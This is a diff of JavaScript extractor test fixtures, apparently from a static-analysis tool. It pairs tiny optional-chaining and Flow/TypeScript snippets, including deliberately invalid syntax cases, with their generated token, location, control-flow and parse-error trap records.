lines(#20088,#20001,"a1?.b1;","
")
hasLocation(#20088,#20004)
#20089=*
lines(#20089,#20001,"","
")
#20090=@"loc,{#10000},2,1,2,0"
locations_default(#20090,#10000,2,1,2,0)
hasLocation(#20089,#20090)
#20091=*
lines(#20091,#20001,"a2?.[x2];","
")
hasLocation(#20091,#20013)
#20092=*
lines(#20092,#20001,"","
")
#20093=@"loc,{#10000},4,1,4,0"
locations_default(#20093,#10000,4,1,4,0)
hasLocation(#20092,#20093)
#20094=*
lines(#20094,#20001,"a3?.b3();","
")
hasLocation(#20094,#20023)
#20095=*
lines(#20095,#20001,"","
")
#20096=@"loc,{#10000},6,1,6,0"
locations_default(#20096,#10000,6,1,6,0)
hasLocation(#20095,#20096)
#20097=*
lines(#20097,#20001,"a4?.();","
")
hasLocation(#20097,#20034)
#20098=*
lines(#20098,#20001,"","
")
#20099=@"loc,{#10000},8,1,8,0"
locations_default(#20099,#10000,8,1,8,0)
hasLocation(#20098,#20099)
#20100=*
lines(#20100,#20001,"o5?.3:2;","
")
hasLocation(#20100,#20041)
#20101=*
lines(#20101,#20001,"","
")
#20102=@"loc,{#10000},10,1,10,0"
locations_default(#20102,#10000,10,1,10,0)
hasLocation(#20101,#20102)
#20103=*
lines(#20103,#20001,"a6?.b6[x6].c6?.(y6).d6;","
")
hasLocation(#20103,#20052)
#20104=*
lines(#20104,#20001,"","
")
#20105=@"loc,{#10000},12,1,12,0"
locations_default(#20105,#10000,12,1,12,0)
hasLocation(#20104,#20105)
#20106=*
lines(#20106,#20001,"delete a?.b","")
hasLocation(#20106,#20079)
numlines(#20001,13,7,0)
#20107=*
tokeninfo(#20107,6,#20001,0,"a1")
hasLocation(#20107,#20008)
#20108=*
tokeninfo(#20108,8,#20001,1,"?.")
#20109=@"loc,{#10000},1,3,1,4"
locations_default(#20109,#10000,1,3,1,4)
hasLocation(#20108,#20109)
#20110=*
tokeninfo(#20110,6,#20001,2,"b1")
hasLocation(#20110,#20011)
#20111=*
tokeninfo(#20111,8,#20001,3,";")
#20112=@"loc,{#10000},1,7,1,7"
locations_default(#20112,#10000,1,7,1,7)
hasLocation(#20111,#20112)
#20113=*
tokeninfo(#20113,6,#20001,4,"a2")
hasLocation(#20113,#20017)
#20114=*
tokeninfo(#20114,8,#20001,5,"?.")
#20115=@"loc,{#10000},3,3,3,4"
locations_default(#20115,#10000,3,3,3,4)
hasLocation(#20114,#20115)
#20116=*
tokeninfo(#20116,8,#20001,6,"[")
#20117=@"loc,{#10000},3,5,3,5"
locations_default(#20117,#10000,3,5,3,5)
hasLocation(#20116,#20117)
#20118=*
tokeninfo(#20118,6,#20001,7,"x2")
hasLocation(#20118,#20020)
#20119=*
tokeninfo(#20119,8,#20001,8,"]")
#20120=@"loc,{#10000},3,8,3,8"
locations_default(#20120,#10000,3,8,3,8)
hasLocation(#20119,#20120)
#20121=*
tokeninfo(#20121,8,#20001,9,";")
#20122=@"loc,{#10000},3,9,3,9"
locations_default(#20122,#10000,3,9,3,9)
hasLocation(#20121,#20122)
#20123=*
tokeninfo(#20123,6,#20001,10,"a3")
hasLocation(#20123,#20029)
#20124=*
tokeninfo(#20124,8,#20001,11,"?.")
#20125=@"loc,{#10000},5,3,5,4"
locations_default(#20125,#10000,5,3,5,4)
hasLocation(#20124,#20125)
#20126=*
tokeninfo(#20126,6,#20001,12,"b3")
hasLocation(#20126,#20032)
#20127=*
tokeninfo(#20127,8,#20001,13,"(")
#20128=@"loc,{#10000},5,7,5,7"
locations_default(#20128,#10000,5,7,5,7)
hasLocation(#20127,#20128)
#20129=*
tokeninfo(#20129,8,#20001,14,")")
#20130=@"loc,{#10000},5,8,5,8"
locations_default(#20130,#10000,5,8,5,8)
hasLocation(#20129,#20130)
#20131=*
tokeninfo(#20131,8,#20001,15,";")
#20132=@"loc,{#10000},5,9,5,9"
locations_default(#20132,#10000,5,9,5,9)
hasLocation(#20131,#20132)
#20133=*
tokeninfo(#20133,6,#20001,16,"a4")
hasLocation(#20133,#20038)
#20134=*
tokeninfo(#20134,8,#20001,17,"?.")
#20135=@"loc,{#10000},7,3,7,4"
locations_default(#20135,#10000,7,3,7,4)
hasLocation(#20134,#20135)
#20136=*
tokeninfo(#20136,8,#20001,18,"(")
#20137=@"loc,{#10000},7,5,7,5"
locations_default(#20137,#10000,7,5,7,5)
hasLocation(#20136,#20137)
#20138=*
tokeninfo(#20138,8,#20001,19,")")
#20139=@"loc,{#10000},7,6,7,6"
locations_default(#20139,#10000,7,6,7,6)
hasLocation(#20138,#20139)
#20140=*
tokeninfo(#20140,8,#20001,20,";")
#20141=@"loc,{#10000},7,7,7,7"
locations_default(#20141,#10000,7,7,7,7)
hasLocation(#20140,#20141)
#20142=*
tokeninfo(#20142,6,#20001,21,"o5")
hasLocation(#20142,#20045)
#20143=*
tokeninfo(#20143,8,#20001,22,"?")
#20144=@"loc,{#10000},9,3,9,3"
locations_default(#20144,#10000,9,3,9,3)
hasLocation(#20143,#20144)
#20145=*
tokeninfo(#20145,3,#20001,23,".3")
hasLocation(#20145,#20048)
#20146=*
tokeninfo(#20146,8,#20001,24,":")
#20147=@"loc,{#10000},9,6,9,6"
locations_default(#20147,#10000,9,6,9,6)
hasLocation(#20146,#20147)
#20148=*
tokeninfo(#20148,3,#20001,25,"2")
hasLocation(#20148,#20050)
#20149=*
tokeninfo(#20149,8,#20001,26,";")
#20150=@"loc,{#10000},9,8,9,8"
locations_default(#20150,#10000,9,8,9,8)
hasLocation(#20149,#20150)
#20151=*
tokeninfo(#20151,6,#20001,27,"a6")
hasLocation(#20151,#20064)
#20152=*
tokeninfo(#20152,8,#20001,28,"?.")
#20153=@"loc,{#10000},11,3,11,4"
locations_default(#20153,#10000,11,3,11,4)
hasLocation(#20152,#20153)
#20154=*
tokeninfo(#20154,6,#20001,29,"b6")
hasLocation(#20154,#20067)
#20155=*
tokeninfo(#20155,8,#20001,30,"[")
#20156=@"loc,{#10000},11,7,11,7"
locations_default(#20156,#10000,11,7,11,7)
hasLocation(#20155,#20156)
#20157=*
tokeninfo(#20157,6,#20001,31,"x6")
hasLocation(#20157,#20069)
#20158=*
tokeninfo(#20158,8,#20001,32,"]")
#20159=@"loc,{#10000},11,10,11,10"
locations_default(#20159,#10000,11,10,11,10)
hasLocation(#20158,#20159)
#20160=*
tokeninfo(#20160,8,#20001,33,".")
#20161=@"loc,{#10000},11,11,11,11"
locations_default(#20161,#10000,11,11,11,11)
hasLocation(#20160,#20161)
#20162=*
tokeninfo(#20162,6,#20001,34,"c6")
hasLocation(#20162,#20072)
#20163=*
tokeninfo(#20163,8,#20001,35,"?.")
#20164=@"loc,{#10000},11,14,11,15"
locations_default(#20164,#10000,11,14,11,15)
hasLocation(#20163,#20164)
#20165=*
tokeninfo(#20165,8,#20001,36,"(")
#20166=@"loc,{#10000},11,16,11,16"
locations_default(#20166,#10000,11,16,11,16)
hasLocation(#20165,#20166)
#20167=*
tokeninfo(#20167,6,#20001,37,"y6")
hasLocation(#20167,#20074)
#20168=*
tokeninfo(#20168,8,#20001,38,")")
#20169=@"loc,{#10000},11,19,11,19"
locations_default(#20169,#10000,11,19,11,19)
hasLocation(#20168,#20169)
#20170=*
tokeninfo(#20170,8,#20001,39,".")
#20171=@"loc,{#10000},11,20,11,20"
locations_default(#20171,#10000,11,20,11,20)
hasLocation(#20170,#20171)
#20172=*
tokeninfo(#20172,6,#20001,40,"d6")
hasLocation(#20172,#20077)
#20173=*
tokeninfo(#20173,8,#20001,41,";")
#20174=@"loc,{#10000},11,23,11,23"
locations_default(#20174,#10000,11,23,11,23)
hasLocation(#20173,#20174)
#20175=*
tokeninfo(#20175,7,#20001,42,"delete")
#20176=@"loc,{#10000},13,1,13,6"
locations_default(#20176,#10000,13,1,13,6)
hasLocation(#20175,#20176)
#20177=*
tokeninfo(#20177,6,#20001,43,"a")
hasLocation(#20177,#20084)
#20178=*
tokeninfo(#20178,8,#20001,44,"?.")
#20179=@"loc,{#10000},13,9,13,10"
locations_default(#20179,#10000,13,9,13,10)
hasLocation(#20178,#20179)
#20180=*
tokeninfo(#20180,6,#20001,45,"b")
hasLocation(#20180,#20087)
#20181=*
tokeninfo(#20181,0,#20001,46,"")
#20182=@"loc,{#10000},13,12,13,11"
locations_default(#20182,#10000,13,12,13,11)
hasLocation(#20181,#20182)
#20183=*
entry_cfg_node(#20183,#20001)
#20184=@"loc,{#10000},1,1,1,0"
locations_default(#20184,#10000,1,1,1,0)
hasLocation(#20183,#20184)
#20185=*
exit_cfg_node(#20185,#20001)
hasLocation(#20185,#20182)
successor(#20078,#20083)
successor(#20086,#20081)
successor(#20083,#20086)
successor(#20081,#20080)
successor(#20083,#20080)
successor(#20080,#20185)
successor(#20051,#20063)
successor(#20076,#20053)
successor(#20073,#20055)
successor(#20071,#20057)
successor(#20068,#20059)
successor(#20066,#20061)
successor(#20063,#20066)
successor(#20061,#20068)
successor(#20063,#20078)
successor(#20059,#20071)
successor(#20057,#20073)
successor(#20055,#20076)
successor(#20057,#20078)
successor(#20053,#20078)
successor(#20040,#20042)
successor(#20042,#20044)
#20186=*
guard_node(#20186,1,#20044)
hasLocation(#20186,#20045)
successor(#20186,#20047)
#20187=*
guard_node(#20187,0,#20044)
hasLocation(#20187,#20045)
successor(#20187,#20049)
successor(#20044,#20186)
successor(#20044,#20187)
successor(#20047,#20051)
successor(#20049,#20051)
successor(#20033,#20037)
successor(#20037,#20035)
successor(#20035,#20040)
successor(#20037,#20040)
successor(#20022,#20028)
successor(#20031,#20026)
successor(#20028,#20031)
successor(#20026,#20024)
successor(#20028,#20033)
successor(#20024,#20033)
successor(#20012,#20016)
successor(#20019,#20014)
successor(#20016,#20019)
successor(#20014,#20022)
successor(#20016,#20022)
successor(#20003,#20007)
successor(#20010,#20005)
successor(#20007,#20010)
successor(#20005,#20012)
successor(#20007,#20012)
successor(#20183,#20003)
numlines(#10000,13,7,0)
filetype(#10000,"javascript")

View File

@@ -0,0 +1,28 @@
#10000=@"/optional-chaining_bad1.js;sourcefile"
files(#10000,"/optional-chaining_bad1.js","optional-chaining_bad1","js",0)
#10001=@"/;folder"
folders(#10001,"/","")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=@"global_scope"
scopes(#20000,0)
#20001=@"script;{#10000},1,1"
toplevels(#20001,0)
#20002=@"loc,{#10000},1,1,1,1"
locations_default(#20002,#10000,1,1,1,1)
hasLocation(#20001,#20002)
#20003=*
jsParseErrors(#20003,#20001,"Error: Unexpected token","new a?.();")
#20004=@"loc,{#10000},1,8,1,8"
locations_default(#20004,#10000,1,8,1,8)
hasLocation(#20003,#20004)
#20005=*
lines(#20005,#20001,"new a?.();","")
#20006=@"loc,{#10000},1,1,1,10"
locations_default(#20006,#10000,1,1,1,10)
hasLocation(#20005,#20006)
numlines(#20001,1,0,0)
numlines(#10000,1,0,0)
filetype(#10000,"javascript")

View File

@@ -0,0 +1,26 @@
#10000=@"/optional-chaining_bad2.js;sourcefile"
files(#10000,"/optional-chaining_bad2.js","optional-chaining_bad2","js",0)
#10001=@"/;folder"
folders(#10001,"/","")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=@"global_scope"
scopes(#20000,0)
#20001=@"script;{#10000},1,1"
toplevels(#20001,0)
#20002=@"loc,{#10000},1,1,1,1"
locations_default(#20002,#10000,1,1,1,1)
hasLocation(#20001,#20002)
#20003=*
jsParseErrors(#20003,#20001,"Error: An optional chain may not be used in a tagged template expression.","a?.`{b}`;")
hasLocation(#20003,#20002)
#20004=*
lines(#20004,#20001,"a?.`{b}`;","")
#20005=@"loc,{#10000},1,1,1,9"
locations_default(#20005,#10000,1,1,1,9)
hasLocation(#20004,#20005)
numlines(#20001,1,0,0)
numlines(#10000,1,0,0)
filetype(#10000,"javascript")

View File

@@ -0,0 +1,28 @@
#10000=@"/optional-chaining_bad3.js;sourcefile"
files(#10000,"/optional-chaining_bad3.js","optional-chaining_bad3","js",0)
#10001=@"/;folder"
folders(#10001,"/","")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=@"global_scope"
scopes(#20000,0)
#20001=@"script;{#10000},1,1"
toplevels(#20001,0)
#20002=@"loc,{#10000},1,1,1,1"
locations_default(#20002,#10000,1,1,1,1)
hasLocation(#20001,#20002)
#20003=*
jsParseErrors(#20003,#20001,"Error: An optional chain may not be used in a `new` expression.","new a?.b();")
#20004=@"loc,{#10000},1,5,1,5"
locations_default(#20004,#10000,1,5,1,5)
hasLocation(#20003,#20004)
#20005=*
lines(#20005,#20001,"new a?.b();","")
#20006=@"loc,{#10000},1,1,1,11"
locations_default(#20006,#10000,1,1,1,11)
hasLocation(#20005,#20006)
numlines(#20001,1,0,0)
numlines(#10000,1,0,0)
filetype(#10000,"javascript")

View File

@@ -0,0 +1,26 @@
#10000=@"/optional-chaining_bad4.js;sourcefile"
files(#10000,"/optional-chaining_bad4.js","optional-chaining_bad4","js",0)
#10001=@"/;folder"
folders(#10001,"/","")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=@"global_scope"
scopes(#20000,0)
#20001=@"script;{#10000},1,1"
toplevels(#20001,0)
#20002=@"loc,{#10000},1,1,1,1"
locations_default(#20002,#10000,1,1,1,1)
hasLocation(#20001,#20002)
#20003=*
jsParseErrors(#20003,#20001,"Error: An optional chain may not be used in a tagged template expression.","a?.b`{c}`;")
hasLocation(#20003,#20002)
#20004=*
lines(#20004,#20001,"a?.b`{c}`;","")
#20005=@"loc,{#10000},1,1,1,10"
locations_default(#20005,#10000,1,1,1,10)
hasLocation(#20004,#20005)
numlines(#20001,1,0,0)
numlines(#10000,1,0,0)
filetype(#10000,"javascript")

View File

@@ -0,0 +1,26 @@
#10000=@"/optional-chaining_bad5.js;sourcefile"
files(#10000,"/optional-chaining_bad5.js","optional-chaining_bad5","js",0)
#10001=@"/;folder"
folders(#10001,"/","")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=@"global_scope"
scopes(#20000,0)
#20001=@"script;{#10000},1,1"
toplevels(#20001,0)
#20002=@"loc,{#10000},1,1,1,1"
locations_default(#20002,#10000,1,1,1,1)
hasLocation(#20001,#20002)
#20003=*
jsParseErrors(#20003,#20001,"Error: Invalid left-hand side in assignment","a?.b = c;")
hasLocation(#20003,#20002)
#20004=*
lines(#20004,#20001,"a?.b = c;","")
#20005=@"loc,{#10000},1,1,1,9"
locations_default(#20005,#10000,1,1,1,9)
hasLocation(#20004,#20005)
numlines(#20001,1,0,0)
numlines(#10000,1,0,0)
filetype(#10000,"javascript")

View File

@@ -0,0 +1,30 @@
#10000=@"/optional-chaining_bad6.js;sourcefile"
files(#10000,"/optional-chaining_bad6.js","optional-chaining_bad6","js",0)
#10001=@"/;folder"
folders(#10001,"/","")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=@"global_scope"
scopes(#20000,0)
#20001=@"script;{#10000},1,1"
toplevels(#20001,0)
#20002=@"loc,{#10000},1,1,1,1"
locations_default(#20002,#10000,1,1,1,1)
hasLocation(#20001,#20002)
#20003=*
jsParseErrors(#20003,#20001,"Error: An optional chain may not be used in a `new` expression.","new a.b?.c();
")
#20004=@"loc,{#10000},1,5,1,5"
locations_default(#20004,#10000,1,5,1,5)
hasLocation(#20003,#20004)
#20005=*
lines(#20005,#20001,"new a.b?.c();","
")
#20006=@"loc,{#10000},1,1,1,13"
locations_default(#20006,#10000,1,1,1,13)
hasLocation(#20005,#20006)
numlines(#20001,1,0,0)
numlines(#10000,1,0,0)
filetype(#10000,"javascript")

View File

@@ -0,0 +1,4 @@
function f(p: T) {}
function f(p: T[]) {}
function f(p: T[][]) {}
function f(p: T[][][]) {}

View File

@@ -0,0 +1,4 @@
declare module "m1" {
import type t from "m2";
import typeof t from "m3";
}

View File

@@ -0,0 +1,4 @@
class C {
get<T>(v: T) { }
set<T>(v: T) { }
}

View File

@@ -0,0 +1,9 @@
function f(a): boolean %checks {
return a;
}
function g(): %checks {} {
return b;
}
(c): boolean %checks => c;
(d): %checks => d;

View File

@@ -0,0 +1,492 @@
#10000=@"/array-types.js;sourcefile"
files(#10000,"/array-types.js","array-types","js",0)
#10001=@"/;folder"
folders(#10001,"/","")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=@"global_scope"
scopes(#20000,0)
#20001=@"script;{#10000},1,1"
toplevels(#20001,0)
#20002=@"loc,{#10000},1,1,5,0"
locations_default(#20002,#10000,1,1,5,0)
hasLocation(#20001,#20002)
#20003=@"var;{f};{#20000}"
variables(#20003,"f",#20000)
#20004=*
stmts(#20004,17,#20001,0,"function f(p: T) {}")
#20005=@"loc,{#10000},1,1,1,19"
locations_default(#20005,#10000,1,1,1,19)
hasLocation(#20004,#20005)
stmtContainers(#20004,#20001)
#20006=*
exprs(#20006,78,#20004,-1,"f")
#20007=@"loc,{#10000},1,10,1,10"
locations_default(#20007,#10000,1,10,1,10)
hasLocation(#20006,#20007)
exprContainers(#20006,#20004)
literals("f","f",#20006)
decl(#20006,#20003)
#20008=*
scopes(#20008,1)
scopenodes(#20004,#20008)
scopenesting(#20008,#20000)
#20009=@"var;{p};{#20008}"
variables(#20009,"p",#20008)
#20010=*
exprs(#20010,78,#20004,0,"p: T")
#20011=@"loc,{#10000},1,12,1,15"
locations_default(#20011,#10000,1,12,1,15)
hasLocation(#20010,#20011)
exprContainers(#20010,#20004)
literals("p","p",#20010)
decl(#20010,#20009)
#20012=@"var;{arguments};{#20008}"
variables(#20012,"arguments",#20008)
isArgumentsObject(#20012)
#20013=*
stmts(#20013,1,#20004,-2,"{}")
#20014=@"loc,{#10000},1,18,1,19"
locations_default(#20014,#10000,1,18,1,19)
hasLocation(#20013,#20014)
stmtContainers(#20013,#20004)
numlines(#20004,1,1,0)
#20015=*
stmts(#20015,17,#20001,1,"functio ... T[]) {}")
#20016=@"loc,{#10000},2,1,2,21"
locations_default(#20016,#10000,2,1,2,21)
hasLocation(#20015,#20016)
stmtContainers(#20015,#20001)
#20017=*
exprs(#20017,78,#20015,-1,"f")
#20018=@"loc,{#10000},2,10,2,10"
locations_default(#20018,#10000,2,10,2,10)
hasLocation(#20017,#20018)
exprContainers(#20017,#20015)
literals("f","f",#20017)
decl(#20017,#20003)
#20019=*
scopes(#20019,1)
scopenodes(#20015,#20019)
scopenesting(#20019,#20000)
#20020=@"var;{p};{#20019}"
variables(#20020,"p",#20019)
#20021=*
exprs(#20021,78,#20015,0,"p: T[]")
#20022=@"loc,{#10000},2,12,2,17"
locations_default(#20022,#10000,2,12,2,17)
hasLocation(#20021,#20022)
exprContainers(#20021,#20015)
literals("p","p",#20021)
decl(#20021,#20020)
#20023=@"var;{arguments};{#20019}"
variables(#20023,"arguments",#20019)
isArgumentsObject(#20023)
#20024=*
stmts(#20024,1,#20015,-2,"{}")
#20025=@"loc,{#10000},2,20,2,21"
locations_default(#20025,#10000,2,20,2,21)
hasLocation(#20024,#20025)
stmtContainers(#20024,#20015)
numlines(#20015,1,1,0)
#20026=*
stmts(#20026,17,#20001,2,"functio ... ][]) {}")
#20027=@"loc,{#10000},3,1,3,23"
locations_default(#20027,#10000,3,1,3,23)
hasLocation(#20026,#20027)
stmtContainers(#20026,#20001)
#20028=*
exprs(#20028,78,#20026,-1,"f")
#20029=@"loc,{#10000},3,10,3,10"
locations_default(#20029,#10000,3,10,3,10)
hasLocation(#20028,#20029)
exprContainers(#20028,#20026)
literals("f","f",#20028)
decl(#20028,#20003)
#20030=*
scopes(#20030,1)
scopenodes(#20026,#20030)
scopenesting(#20030,#20000)
#20031=@"var;{p};{#20030}"
variables(#20031,"p",#20030)
#20032=*
exprs(#20032,78,#20026,0,"p: T[][]")
#20033=@"loc,{#10000},3,12,3,19"
locations_default(#20033,#10000,3,12,3,19)
hasLocation(#20032,#20033)
exprContainers(#20032,#20026)
literals("p","p",#20032)
decl(#20032,#20031)
#20034=@"var;{arguments};{#20030}"
variables(#20034,"arguments",#20030)
isArgumentsObject(#20034)
#20035=*
stmts(#20035,1,#20026,-2,"{}")
#20036=@"loc,{#10000},3,22,3,23"
locations_default(#20036,#10000,3,22,3,23)
hasLocation(#20035,#20036)
stmtContainers(#20035,#20026)
numlines(#20026,1,1,0)
#20037=*
stmts(#20037,17,#20001,3,"functio ... ][]) {}")
#20038=@"loc,{#10000},4,1,4,25"
locations_default(#20038,#10000,4,1,4,25)
hasLocation(#20037,#20038)
stmtContainers(#20037,#20001)
#20039=*
exprs(#20039,78,#20037,-1,"f")
#20040=@"loc,{#10000},4,10,4,10"
locations_default(#20040,#10000,4,10,4,10)
hasLocation(#20039,#20040)
exprContainers(#20039,#20037)
literals("f","f",#20039)
decl(#20039,#20003)
#20041=*
scopes(#20041,1)
scopenodes(#20037,#20041)
scopenesting(#20041,#20000)
#20042=@"var;{p};{#20041}"
variables(#20042,"p",#20041)
#20043=*
exprs(#20043,78,#20037,0,"p: T[][][]")
#20044=@"loc,{#10000},4,12,4,21"
locations_default(#20044,#10000,4,12,4,21)
hasLocation(#20043,#20044)
exprContainers(#20043,#20037)
literals("p","p",#20043)
decl(#20043,#20042)
#20045=@"var;{arguments};{#20041}"
variables(#20045,"arguments",#20041)
isArgumentsObject(#20045)
#20046=*
stmts(#20046,1,#20037,-2,"{}")
#20047=@"loc,{#10000},4,24,4,25"
locations_default(#20047,#10000,4,24,4,25)
hasLocation(#20046,#20047)
stmtContainers(#20046,#20037)
numlines(#20037,1,1,0)
#20048=*
lines(#20048,#20001,"function f(p: T) {}","
")
hasLocation(#20048,#20005)
#20049=*
lines(#20049,#20001,"function f(p: T[]) {}","
")
hasLocation(#20049,#20016)
#20050=*
lines(#20050,#20001,"function f(p: T[][]) {}","
")
hasLocation(#20050,#20027)
#20051=*
lines(#20051,#20001,"function f(p: T[][][]) {}","
")
hasLocation(#20051,#20038)
numlines(#20001,4,4,0)
#20052=*
tokeninfo(#20052,7,#20001,0,"function")
#20053=@"loc,{#10000},1,1,1,8"
locations_default(#20053,#10000,1,1,1,8)
hasLocation(#20052,#20053)
#20054=*
tokeninfo(#20054,6,#20001,1,"f")
hasLocation(#20054,#20007)
#20055=*
tokeninfo(#20055,8,#20001,2,"(")
#20056=@"loc,{#10000},1,11,1,11"
locations_default(#20056,#10000,1,11,1,11)
hasLocation(#20055,#20056)
#20057=*
tokeninfo(#20057,6,#20001,3,"p")
#20058=@"loc,{#10000},1,12,1,12"
locations_default(#20058,#10000,1,12,1,12)
hasLocation(#20057,#20058)
#20059=*
tokeninfo(#20059,8,#20001,4,":")
#20060=@"loc,{#10000},1,13,1,13"
locations_default(#20060,#10000,1,13,1,13)
hasLocation(#20059,#20060)
#20061=*
tokeninfo(#20061,6,#20001,5,"T")
#20062=@"loc,{#10000},1,15,1,15"
locations_default(#20062,#10000,1,15,1,15)
hasLocation(#20061,#20062)
#20063=*
tokeninfo(#20063,8,#20001,6,")")
#20064=@"loc,{#10000},1,16,1,16"
locations_default(#20064,#10000,1,16,1,16)
hasLocation(#20063,#20064)
#20065=*
tokeninfo(#20065,8,#20001,7,"{")
#20066=@"loc,{#10000},1,18,1,18"
locations_default(#20066,#10000,1,18,1,18)
hasLocation(#20065,#20066)
#20067=*
tokeninfo(#20067,8,#20001,8,"}")
#20068=@"loc,{#10000},1,19,1,19"
locations_default(#20068,#10000,1,19,1,19)
hasLocation(#20067,#20068)
#20069=*
tokeninfo(#20069,7,#20001,9,"function")
#20070=@"loc,{#10000},2,1,2,8"
locations_default(#20070,#10000,2,1,2,8)
hasLocation(#20069,#20070)
#20071=*
tokeninfo(#20071,6,#20001,10,"f")
hasLocation(#20071,#20018)
#20072=*
tokeninfo(#20072,8,#20001,11,"(")
#20073=@"loc,{#10000},2,11,2,11"
locations_default(#20073,#10000,2,11,2,11)
hasLocation(#20072,#20073)
#20074=*
tokeninfo(#20074,6,#20001,12,"p")
#20075=@"loc,{#10000},2,12,2,12"
locations_default(#20075,#10000,2,12,2,12)
hasLocation(#20074,#20075)
#20076=*
tokeninfo(#20076,8,#20001,13,":")
#20077=@"loc,{#10000},2,13,2,13"
locations_default(#20077,#10000,2,13,2,13)
hasLocation(#20076,#20077)
#20078=*
tokeninfo(#20078,6,#20001,14,"T")
#20079=@"loc,{#10000},2,15,2,15"
locations_default(#20079,#10000,2,15,2,15)
hasLocation(#20078,#20079)
#20080=*
tokeninfo(#20080,8,#20001,15,"[")
#20081=@"loc,{#10000},2,16,2,16"
locations_default(#20081,#10000,2,16,2,16)
hasLocation(#20080,#20081)
#20082=*
tokeninfo(#20082,8,#20001,16,"]")
#20083=@"loc,{#10000},2,17,2,17"
locations_default(#20083,#10000,2,17,2,17)
hasLocation(#20082,#20083)
#20084=*
tokeninfo(#20084,8,#20001,17,")")
#20085=@"loc,{#10000},2,18,2,18"
locations_default(#20085,#10000,2,18,2,18)
hasLocation(#20084,#20085)
#20086=*
tokeninfo(#20086,8,#20001,18,"{")
#20087=@"loc,{#10000},2,20,2,20"
locations_default(#20087,#10000,2,20,2,20)
hasLocation(#20086,#20087)
#20088=*
tokeninfo(#20088,8,#20001,19,"}")
#20089=@"loc,{#10000},2,21,2,21"
locations_default(#20089,#10000,2,21,2,21)
hasLocation(#20088,#20089)
#20090=*
tokeninfo(#20090,7,#20001,20,"function")
#20091=@"loc,{#10000},3,1,3,8"
locations_default(#20091,#10000,3,1,3,8)
hasLocation(#20090,#20091)
#20092=*
tokeninfo(#20092,6,#20001,21,"f")
hasLocation(#20092,#20029)
#20093=*
tokeninfo(#20093,8,#20001,22,"(")
#20094=@"loc,{#10000},3,11,3,11"
locations_default(#20094,#10000,3,11,3,11)
hasLocation(#20093,#20094)
#20095=*
tokeninfo(#20095,6,#20001,23,"p")
#20096=@"loc,{#10000},3,12,3,12"
locations_default(#20096,#10000,3,12,3,12)
hasLocation(#20095,#20096)
#20097=*
tokeninfo(#20097,8,#20001,24,":")
#20098=@"loc,{#10000},3,13,3,13"
locations_default(#20098,#10000,3,13,3,13)
hasLocation(#20097,#20098)
#20099=*
tokeninfo(#20099,6,#20001,25,"T")
#20100=@"loc,{#10000},3,15,3,15"
locations_default(#20100,#10000,3,15,3,15)
hasLocation(#20099,#20100)
#20101=*
tokeninfo(#20101,8,#20001,26,"[")
#20102=@"loc,{#10000},3,16,3,16"
locations_default(#20102,#10000,3,16,3,16)
hasLocation(#20101,#20102)
#20103=*
tokeninfo(#20103,8,#20001,27,"]")
#20104=@"loc,{#10000},3,17,3,17"
locations_default(#20104,#10000,3,17,3,17)
hasLocation(#20103,#20104)
#20105=*
tokeninfo(#20105,8,#20001,28,"[")
#20106=@"loc,{#10000},3,18,3,18"
locations_default(#20106,#10000,3,18,3,18)
hasLocation(#20105,#20106)
#20107=*
tokeninfo(#20107,8,#20001,29,"]")
#20108=@"loc,{#10000},3,19,3,19"
locations_default(#20108,#10000,3,19,3,19)
hasLocation(#20107,#20108)
#20109=*
tokeninfo(#20109,8,#20001,30,")")
#20110=@"loc,{#10000},3,20,3,20"
locations_default(#20110,#10000,3,20,3,20)
hasLocation(#20109,#20110)
#20111=*
tokeninfo(#20111,8,#20001,31,"{")
#20112=@"loc,{#10000},3,22,3,22"
locations_default(#20112,#10000,3,22,3,22)
hasLocation(#20111,#20112)
#20113=*
tokeninfo(#20113,8,#20001,32,"}")
#20114=@"loc,{#10000},3,23,3,23"
locations_default(#20114,#10000,3,23,3,23)
hasLocation(#20113,#20114)
#20115=*
tokeninfo(#20115,7,#20001,33,"function")
#20116=@"loc,{#10000},4,1,4,8"
locations_default(#20116,#10000,4,1,4,8)
hasLocation(#20115,#20116)
#20117=*
tokeninfo(#20117,6,#20001,34,"f")
hasLocation(#20117,#20040)
#20118=*
tokeninfo(#20118,8,#20001,35,"(")
#20119=@"loc,{#10000},4,11,4,11"
locations_default(#20119,#10000,4,11,4,11)
hasLocation(#20118,#20119)
#20120=*
tokeninfo(#20120,6,#20001,36,"p")
#20121=@"loc,{#10000},4,12,4,12"
locations_default(#20121,#10000,4,12,4,12)
hasLocation(#20120,#20121)
#20122=*
tokeninfo(#20122,8,#20001,37,":")
#20123=@"loc,{#10000},4,13,4,13"
locations_default(#20123,#10000,4,13,4,13)
hasLocation(#20122,#20123)
#20124=*
tokeninfo(#20124,6,#20001,38,"T")
#20125=@"loc,{#10000},4,15,4,15"
locations_default(#20125,#10000,4,15,4,15)
hasLocation(#20124,#20125)
#20126=*
tokeninfo(#20126,8,#20001,39,"[")
#20127=@"loc,{#10000},4,16,4,16"
locations_default(#20127,#10000,4,16,4,16)
hasLocation(#20126,#20127)
#20128=*
tokeninfo(#20128,8,#20001,40,"]")
#20129=@"loc,{#10000},4,17,4,17"
locations_default(#20129,#10000,4,17,4,17)
hasLocation(#20128,#20129)
#20130=*
tokeninfo(#20130,8,#20001,41,"[")
#20131=@"loc,{#10000},4,18,4,18"
locations_default(#20131,#10000,4,18,4,18)
hasLocation(#20130,#20131)
#20132=*
tokeninfo(#20132,8,#20001,42,"]")
#20133=@"loc,{#10000},4,19,4,19"
locations_default(#20133,#10000,4,19,4,19)
hasLocation(#20132,#20133)
#20134=*
